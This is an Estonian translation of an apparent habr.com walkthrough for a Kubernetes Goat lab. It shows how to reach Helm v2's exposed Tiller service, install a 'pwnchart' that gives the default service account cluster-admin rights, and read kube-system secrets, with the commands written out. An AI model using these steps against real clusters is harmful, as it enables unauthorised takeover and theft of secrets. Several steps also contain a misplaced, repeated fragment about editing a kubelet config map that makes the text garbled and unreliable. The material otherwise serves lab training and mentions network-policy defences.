Lömme Kubernetes klastrit läbi Helm v2 tiller

Helm — paketihaldur Kubernetes'ele, midagi sellist nagu apt-get Ubuntu jaoks. Selles märkmes vaatame üle Helm'i varasema versiooni (v2) koos vaikimisi installitud tiller teenusega, mille kaudu pääseme klastrile juurde.

Valmistame klastri ette, selleks käivitame käsu:

kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash

Demonstratsioon

• Kui midagi lisaks ei seadista, käivitab Helm v2 teenuse Tiller, millel on RBAC täielikud administraatori õigused klastrile.
• Pärast installimist nimel kubectl -n kube-system edit cm kubelet-config-1.16 kuvatakse tiller-deploy, avatakse ka port 44134, seotud 0.0.0.0'ga. Seda saab kontrollida telnet'i abil.

$ telnet tiller-deploy.kube-system 44134

• Nüüd saab ühenduda teenusega Tiller. Kasutame Helm'i binaarfaili operatsioonide läbiviimiseks, et suhelda teenusega Tiller:

$ helm --host tiller-deploy.kube-system:44134 version

• Proovime saada Kubernetes klastri saladusi nimel kubectl -n kube-system edit cm kubelet-config-1.16:

$ kubectl get secrets -n kube-system

• Nüüd saame luua oma chart'i, milles loome administraatori õigustega rolli ja määrame selle rolli vaikimisi teenusekontole. Kasutades selle teenusekonto tokenit, saime täieliku ligipääsu meie klastrile.

$ helm --host tiller-deploy.kube-system:44134 install /pwnchart

• Nüüd, kui pwnchart on juurutatud, on vaikimisi teenusekontol täielik administraatori ligipääs. Kontrollime veel kord saladuste saamist kubectl -n kube-system edit cm kubelet-config-1.16

kubectl get secrets -n kube-system

Selle skripti edukus sõltub sellest, kuidas tiller on juurutatud, mõnikord juurutavad administraatorid selle eraldi nimel teiste privileegidega. Helm 3 ei ole selliste haavatavuste suhtes haavatav, kuna tal pole Tiller'it.

Tõlkija märkus: võrgupoliitikate kasutamine liikluse filtreerimiseks klastris aitab kaitsta selliste tüüpide haavatavuste eest.

Allikas: habr.com